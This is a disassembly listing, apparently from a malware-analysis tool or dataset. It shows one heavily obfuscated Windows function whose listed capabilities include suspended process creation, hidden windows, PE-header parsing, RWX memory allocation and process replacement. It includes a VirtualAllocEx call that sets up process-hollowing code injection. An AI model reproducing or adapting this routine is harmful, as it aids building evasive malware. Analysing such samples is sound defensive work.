Function at 0x10008a20
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x144
mov eax, dword [0x10073800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14c], 0x7c46bebe
mov eax, dword [ebp - 0x14c]
mov dword [ebp - 0x150], eax
sub eax, 0x803c400c
je 0x1000face
jmp 0x10008a5c
mov eax, dword [ebp - 0x150]
sub eax, 0x803c6aa8
je 0x10014c32
jmp 0x10008a72
mov eax, dword [ebp - 0x150]
sub eax, 0x8148fef9
je 0x1000e8e1
jmp 0x10008a88
mov eax, dword [ebp - 0x150]
sub eax, 0x816a6932
je 0x1000cdcd
jmp 0x10008a9e
mov eax, dword [ebp - 0x150]
sub eax, 0x8340ef8a
je 0x1001223e
jmp 0x10008ab4
mov eax, dword [ebp - 0x150]
sub eax, 0x83657695
je 0x10013e3a
jmp 0x10008aca
mov eax, dword [ebp - 0x150]
sub eax, 0x8380bd0f
je 0x1001144d
jmp 0x10008ae0
mov eax, dword [ebp - 0x150]
sub eax, 0x849ed6f5
je 0x100126ac
jmp 0x10008af6
mov eax, dword [ebp - 0x150]
sub eax, 0x84bf5fbe
je 0x1001475f
jmp 0x10008b0c
mov eax, dword [ebp - 0x150]
sub eax, 0x8556b3f4
je 0x1000e747
jmp 0x10008b22
mov eax, dword [ebp - 0x150]
sub eax, 0x85f564e6
je 0x10011f77
jmp 0x10008b38
mov eax, dword [ebp - 0x150]
sub eax, 0x8716ed90
je 0x100165cb
jmp 0x10008b4e
mov eax, dword [ebp - 0x150]
sub eax, 0x875822ea
je 0x1000d6f2
jmp 0x10008b64
mov eax, dword [ebp - 0x150]
sub eax, 0x88275378
je 0x10011cec
jmp 0x10008b7a
mov eax, dword [ebp - 0x150]
sub eax, 0x88e14100
je 0x10014a3a
jmp 0x10008b90
mov eax, dword [ebp - 0x150]
sub eax, 0x8901a955
je 0x100126ee
jmp 0x10008ba6
mov eax, dword [ebp - 0x150]
sub eax, 0x896b1217
je 0x1000f9c9
jmp 0x10008bbc
mov eax, dword [ebp - 0x150]
sub eax, 0x89dd067a
je 0x1000f7ce
jmp 0x10008bd2
mov eax, dword [ebp - 0x150]
sub eax, 0x8a43b8c4
je 0x100151a4
jmp 0x10008be8
mov eax, dword [ebp - 0x150]
sub eax, 0x8a43d96f
je 0x1000df51
jmp 0x10008bfe
mov eax, dword [ebp - 0x150]
sub eax, 0x8a8e6462
je 0x10014172
jmp 0x10008c14
mov eax, dword [ebp - 0x150]
sub eax, 0x8ab2524c
je 0x1001480d
jmp 0x10008c2a
mov eax, dword [ebp - 0x150]
sub eax, 0x8ac3dd35
je 0x10012c3c
jmp 0x10008c40
mov eax, dword [ebp - 0x150]
sub eax, 0x8af892a9
je 0x10012018
jmp 0x10008c56
mov eax, dword [ebp - 0x150]
sub eax, 0x8afd5551
je 0x1000f6ab
jmp 0x10008c6c
mov eax, dword [ebp - 0x150]
sub eax, 0x8afef01a
je 0x1001290a
jmp 0x10008c82
mov eax, dword [ebp - 0x150]
sub eax, 0x8b5cb028
je 0x10014cbe
jmp 0x10008c98
mov eax, dword [ebp - 0x150]
sub eax, 0x8b6c28c3
je 0x1000f70b
jmp 0x10008cae
mov eax, dword [ebp - 0x150]
sub eax, 0x8bdbbb0b
je 0x1000d73b
jmp 0x10008cc4
mov eax, dword [ebp - 0x150]
sub eax, 0x8c985996
je 0x10015a0a
jmp 0x10008cda
mov eax, dword [ebp - 0x150]
sub eax, 0x8ca7ebe8
je 0x1000ccd2
jmp 0x10008cf0
mov eax, dword [ebp - 0x150]
sub eax, 0x8d0699e4
je 0x10014297
jmp 0x10008d06
mov eax, dword [ebp - 0x150]
sub eax, 0x8d7a4598
je 0x10012642
jmp 0x10008d1c
mov eax, dword [ebp - 0x150]
sub eax, 0x8d9bb3c2
je 0x1000e995
jmp 0x10008d32
mov eax, dword [ebp - 0x150]
sub eax, 0x8dda07bb
je 0x1000e471
jmp 0x10008d48
mov eax, dword [ebp - 0x150]
sub eax, 0x8e223095
je 0x10013938
jmp 0x10008d5e
mov eax, dword [ebp - 0x150]
sub eax, 0x8e28ee69
je 0x10010b75
jmp 0x10008d74
mov eax, dword [ebp - 0x150]
sub eax, 0x8e88947f
je 0x1001132f
jmp 0x10008d8a
mov eax, dword [ebp - 0x150]
sub eax, 0x8ed22a61
je 0x10015fce
jmp 0x10008da0
mov eax, dword [ebp - 0x150]
sub eax, 0x8f85bbb2
je 0x1000e3a8
jmp 0x10008db6
mov eax, dword [ebp - 0x150]
sub eax, 0x8faf6b5c
je 0x1000e06b
jmp 0x10008dcc
mov eax, dword [ebp - 0x150]
sub eax, 0x8fc14285
je 0x1000ebb7
jmp 0x10008de2
mov eax, dword [ebp - 0x150]
sub eax, 0x8fc17a95
je 0x1000d1ec
jmp 0x10008df8
mov eax, dword [ebp - 0x150]
sub eax, 0x8fffa7ca
je 0x1000d876
jmp 0x10008e0e
mov eax, dword [ebp - 0x150]
sub eax, 0x90997d93
je 0x10015789
jmp 0x10008e24
mov eax, dword [ebp - 0x150]
sub eax, 0x91426d45
je 0x1000dfdc
jmp 0x10008e3a
mov eax, dword [ebp - 0x150]
sub eax, 0x91556b59
je 0x10015ebd
jmp 0x10008e50
mov eax, dword [ebp - 0x150]
sub eax, 0x91576a06
je 0x1001104f
jmp 0x10008e66
mov eax, dword [ebp - 0x150]
sub eax, 0x922e59ce
je 0x10015e48
jmp 0x10008e7c
mov eax, dword [ebp - 0x150]
sub eax, 0x929acc08
je 0x1000d622
jmp 0x10008e92
mov eax, dword [ebp - 0x150]
sub eax, 0x931a5173
je 0x10015932
jmp 0x10008ea8
mov eax, dword [ebp - 0x150]
sub eax, 0x9328487e
je 0x1000ce73
jmp 0x10008ebe
mov eax, dword [ebp - 0x150]
sub eax, 0x9357d47f
je 0x10013337
jmp 0x10008ed4
mov eax, dword [ebp - 0x150]
sub eax, 0x94005c44
je 0x10010fcf
jmp 0x10008eea
mov eax, dword [ebp - 0x150]
sub eax, 0x940796b7
je 0x1000ebd4
jmp 0x10008f00
mov eax, dword [ebp - 0x150]
sub eax, 0x9477140b
je 0x1000f196
jmp 0x10008f16
mov eax, dword [ebp - 0x150]
sub eax, 0x94ac2cec
je 0x1000fc31
jmp 0x10008f2c
mov eax, dword [ebp - 0x150]
sub eax, 0x94f9555e
je 0x1000f337
jmp 0x10008f42
mov eax, dword [ebp - 0x150]
sub eax, 0x9502c4b5
je 0x1000fef3
jmp 0x10008f58
mov eax, dword [ebp - 0x150]
sub eax, 0x9508b7e0
je 0x1000cab7
jmp 0x10008f6e
mov eax, dword [ebp - 0x150]
sub eax, 0x95b96b90
je 0x1000dbf6
jmp 0x10008f84
mov eax, dword [ebp - 0x150]
sub eax, 0x95bd8b1e
je 0x1000cdb0
jmp 0x10008f9a
mov eax, dword [ebp - 0x150]
sub eax, 0x95c80c66
je 0x1000cb17
jmp 0x10008fb0
mov eax, dword [ebp - 0x150]
sub eax, 0x95d33c8b
je 0x1000cd5f
jmp 0x10008fc6
mov eax, dword [ebp - 0x150]
sub eax, 0x9605dda3
je 0x10010725
mov eax, dword [0x10074b28]
mov ecx, dword [0x10074b24]
mov edx, eax
add edx, 0x312e2257
sub edx, 1
sub edx, 0x312e2257
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd2cc33a4
mov ecx, 0xf04ce8e5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1001679b
movss xmm0, dword [0x100237d8]
movss dword [ebp - 0x148], xmm0
mov dword [ebp - 0x14c], 0x6a3924ba
jmp 0x1001679b
movss xmm0, dword [0x100237c0]
movss dword [ebp - 0x148], xmm0
mov dword [ebp - 0x14c], 0xb502bfa9
jmp 0x1001679b
mov eax, dword [0x10074b28]
mov ecx, dword [0x10074b24]
mov edx, eax
sub edx, 0xb56d2667
sub edx, 1
add edx, 0xb56d2667
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd8124710
mov ecx, 0x95bd8b1e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1001679b
mov dl, 1
mov eax, 0xbca595
mov ecx, 0x816a6932
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1001679b
movss xmm0, dword [0x100237bc]
movss dword [ebp - 0x148], xmm0
movss xmm0, dword [0x100237b8]
movss dword [ebp - 0x148], xmm0
mov dword [ebp - 0x14c], 0x299ffc00
jmp 0x1001679b
mov eax, dword [0x10074b28]
mov ecx, dword [0x10074b24]
mov edx, eax
add edx, 0x2be416ad
sub edx, 1
sub edx, 0x2be416ad
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa627fa3c
mov ecx, 0x9dcaa6b5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1001679b
mov dl, 1
mov eax, 0x4b342232
mov ecx, 0x6e4776ff
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1001679b
mov eax, dword [0x10074b28]
mov ecx, dword [0x10074b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x931a5173
mov ecx, 0xdfe6db4b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1001679b
mov eax, dword [0x10074b28]
mov ecx, dword [0x10074b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x391c075d
mov ecx, 0x8bdbbb0b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1001679b
mov eax, dword [ebp - 0x144]
movss xmm0, dword [0x100234c8]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x144]
movss xmm0, dword [0x100234c4]
movss dword [eax], xmm0
mov ecx, dword [0x10074b28]
mov eax, dword [0x10074b24]
mov edx, ecx
add edx, 0x4a479e36
sub edx, 1
sub edx, 0x4a479e36
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x391c075d
mov ecx, 0x70cdf37
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1001679b
mov eax, dword [ebp - 0x140]
movss xmm0, dword [0x1002377c]
movss dword [eax], xmm0
mov dword [ebp - 0x14c], 0x982e2202
jmp 0x1001679b
mov dword [ebp - 0x14c], 0x77e63cdb
jmp 0x1001679b
mov dl, 1
mov eax, 0x54fdd98
mov ecx, 0x6fe0bf7d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1001679b
mov eax, dword [ebp - 0x13c]
movss xmm0, dword [0x100234a4]
movss dword [eax], xmm0
mov ecx, dword [0x10074b28]
mov eax, dword [0x10074b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x85ec8c
mov ecx, 0x96cae686
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1001679b
mov eax, dword [0x10074b28]
mov ecx, dword [0x10074b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x29379c6b
mov ecx, 0x10c75540
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1001679b
mov eax, dword [ebp - 0x13c]
movss xmm0, dword [0x1002374c]
movss dword [eax], xmm0
mov dword [ebp - 0x14c], 0x60ca82cd
jmp 0x1001679b
mov eax, dword [ebp - 0x13c]
movss xmm0, dword [0x10023494]
movss dword [eax], xmm0
mov ecx, dword [0x10074b28]
mov eax, dword [0x10074b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5dbf07b7
mov ecx, 0x3a6ff183
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1001679b
mov eax, dword [ebp - 0x138]
movss xmm0, dword [0x10023488]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x138]
movss xmm0, dword [0x10023484]
movss dword [eax], xmm0
mov ecx, dword [0x10074b28]
mov eax, dword [0x10074b24]
mov edx, ecx
sub edx, 0x5d96ba36
sub edx, 1
add edx, 0x5d96ba36
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3046c809
mov ecx, 0x1763613e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1001679b
mov eax, dword [ebp - 0x138]
movss xmm0, dword [0x10023724]
movss dword [eax], xmm0
mov dword [ebp - 0x14c], 0xd6097fef
jmp 0x1001679b
mov eax, dword [ebp - 0x138]
movss xmm0, dword [0x10023480]
movss dword [eax], xmm0
mov ecx, dword [0x10074b28]
mov eax, dword [0x10074b24]
mov edx, ecx
sub edx, 0x20797b79
sub edx, 1
add edx, 0x20797b79
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xddada318
mov ecx, 0x89f74c8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1001679b
mov dl, 1
mov eax, 0xfe1a6a82
mov ecx, 0x940796b7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1001679b
mov eax, dword [ebp - 0x138]
movss xmm0, dword [0x1002371c]
movss dword [eax], xmm0
mov dword [ebp - 0x14c], 0xe66af44d
jmp 0x1001679b
mov dword [ebp - 0x14c], 0xd9fc6be1
jmp 0x1001679b
mov eax, dword [ebp - 0x130]
movss xmm0, dword [0x100236d0]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x130]
movss xmm0, dword [0x100236cc]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x130]
movss xmm0, dword [0x100236c8]
movss dword [eax], xmm0
mov dword [ebp - 0x14c], 0xbb83ddb1
jmp 0x1001679b
mov eax, dword [0x10074b28]
mov ecx, dword [0x10074b24]
mov edx, eax
add edx, 0x40a80928
sub edx, 1
sub edx, 0x40a80928
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa0918e1f
mov ecx, 0x6aaedf32
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1001679b
mov eax, dword [0x10074b28]
mov ecx, dword [0x10074b24]
mov edx, eax
sub edx, 0xdcbc11d0
sub edx, 1
add edx, 0xdcbc11d0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x47d6284f
mov ecx, 0x7c0ec8d5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1001679b
mov dl, 1
mov eax, 0xeb794c04
mov ecx, 0xaf60809b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1001679b
mov eax, dword [ebp - 0x130]
movss xmm0, dword [0x10023458]
movss dword [eax], xmm0
mov ecx, dword [0x10074b28]
mov eax, dword [0x10074b24]
mov edx, ecx
sub edx, 0x960023e8
sub edx, 1
add edx, 0x960023e8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xaad8f4c0
mov ecx, 0x43f5d7d9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1001679b
mov eax, dword [ebp - 0x12c]
movss xmm0, dword [0x10023454]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x12c]
movss xmm0, dword [0x10023450]
movss dword [eax], xmm0
mov ecx, dword [0x10074b28]
mov eax, dword [0x10074b24]
mov edx, ecx
add edx, 0x4ff9f6d6
sub edx, 1
sub edx, 0x4ff9f6d6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7d127879
mov ecx, 0x587857c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1001679b
mov eax, dword [ebp - 0x12c]
movss xmm0, dword [0x1002344c]
movss dword [eax], xmm0
mov ecx, dword [0x10074b28]
mov eax, dword [0x10074b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb6694f67
mov ecx, 0x7cf8520d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1001679b
mov eax, dword [0x10074b28]
mov ecx, dword [0x10074b24]
mov edx, eax
add edx, 0xbcfcbf65
sub edx, 1
sub edx, 0xbcfcbf65
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdc4dc073
mov ecx, 0xf0970a5a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1001679b
mov ecx, dword [0x10074b28]
mov eax, dword [0x10074b24]
mov edx, ecx
add edx, 0xb1559bde
sub edx, 1
sub edx, 0xb1559bde
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6a256161
mov ecx, 0xb03119dc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1001679b
mov eax, dword [ebp - 0x120]
movss xmm0, dword [0x100235ec]
movss dword [eax], xmm0
mov dword [ebp - 0x14c], 0xa9d6c436
jmp 0x1001679b
mov eax, dword [ebp - 0x120]
movss xmm0, dword [0x100235e0]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x120]
movss xmm0, dword [0x100235dc]
movss dword [eax], xmm0
mov dword [ebp - 0x14c], 0x3d9b7077
jmp 0x1001679b
mov eax, dword [0x10074b28]
mov ecx, dword [0x10074b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb7a5717d
mov ecx, 0xd3b83321
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1001679b
mov ecx, dword [0x10074b28]
mov eax, dword [0x10074b24]
mov edx, ecx
sub edx, 0x3f2d598e
sub edx, 1
add edx, 0x3f2d598e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf2aa4505
mov ecx, 0x18e1e1e0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1001679b
mov dword [ebp - 0x14c], 0xabcd67d9
jmp 0x1001679b
mov eax, dword [0x10074b28]
mov ecx, dword [0x10074b24]
mov edx, eax
add edx, 0x937f22d4
sub edx, 1
sub edx, 0x937f22d4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2109c6e5
mov ecx, 0x54cdccd3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1001679b
mov dword [ebp - 0x14c], 0x7ea846f8
jmp 0x1001679b
mov ecx, dword [0x10074b28]
mov eax, dword [0x10074b24]
mov edx, ecx
add edx, 0x255858a1
sub edx, 1
sub edx, 0x255858a1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xee473559
mov ecx, 0x2f1725a6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1001679b
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x100233e8]
movss dword [eax], xmm0
mov eax, dword [0x10074b28]
mov ecx, dword [0x10074b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3168b802
mov ecx, 0xf1b31d80
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1001679b
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x10023548]
movss dword [eax], xmm0
mov dword [ebp - 0x14c], 0x28d7a8e6
jmp 0x1001679b
mov dl, 1
mov eax, 0xd72baa02
mov ecx, 0x92cd499
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1001679b
mov dword [ebp - 0x14c], 0x4ade42ae
jmp 0x1001679b
mov ecx, dword [0x10074b28]
mov eax, dword [0x10074b24]
mov edx, ecx
add edx, 0x2fd17bfd
sub edx, 1
sub edx, 0x2fd17bfd
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc22663cd
mov ecx, 0x6d98fe25
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1001679b
mov ecx, dword [0x10074b28]
mov eax, dword [0x10074b24]
mov edx, ecx
sub edx, 0x94eeffa1
sub edx, 1
add edx, 0x94eeffa1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7ad853e4
mov ecx, 0xdd94bb45
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1001679b
mov eax, dword [0x10074b28]
mov ecx, dword [0x10074b24]
mov edx, eax
add edx, 0x7e32ace3
sub edx, 1
sub edx, 0x7e32ace3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x26c0160b
mov ecx, 0x2f62504d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1001679b
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.10008340
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xe8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa4]
mov eax, dword [ebp - 0xe0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0xfc]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x34]
mov edx, dword [ebp - 0xf8]
mov edx, dword [edx]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xe4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov dword [ebp - 0x98], eax
mov ecx, dword [0x10074b28]
mov eax, dword [0x10074b24]
mov edx, ecx
add edx, 0x24b0b728
sub edx, 1
sub edx, 0x24b0b728
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5f1c494d
mov ecx, 0x49a9ec26
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1001679b
mov dword [ebp - 0x14c], 0xda265302
jmp 0x1001679b
mov eax, dword [0x10074b28]
mov ecx, dword [0x10074b24]
mov edx, eax
add edx, 0xc5742fdc
sub edx, 1
sub edx, 0xc5742fdc
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xea11bf9e
mov ecx, 0xf1802468
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1001679b
mov eax, dword [ebp - 0x60]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x64]
add ecx, eax
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov edx, dword [ebp - 0xdc]
mov edx, dword [edx]
mov esi, dword [ebp - 0xcc]
imul esi, dword [esi], 0x28
add edx, esi
mov edx, dword [edx + 0xc]
sub eax, 0x9965231d
sub eax, edx
add eax, 0x9965231d
add ecx, eax
mov eax, dword [ebp - 0xd4]
mov dword [eax], ecx
mov eax, dword [0x10074b28]
mov ecx, dword [0x10074b24]
mov edx, eax
sub edx, 0x167649dc
sub edx, 1
add edx, 0x167649dc
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc4a212a7
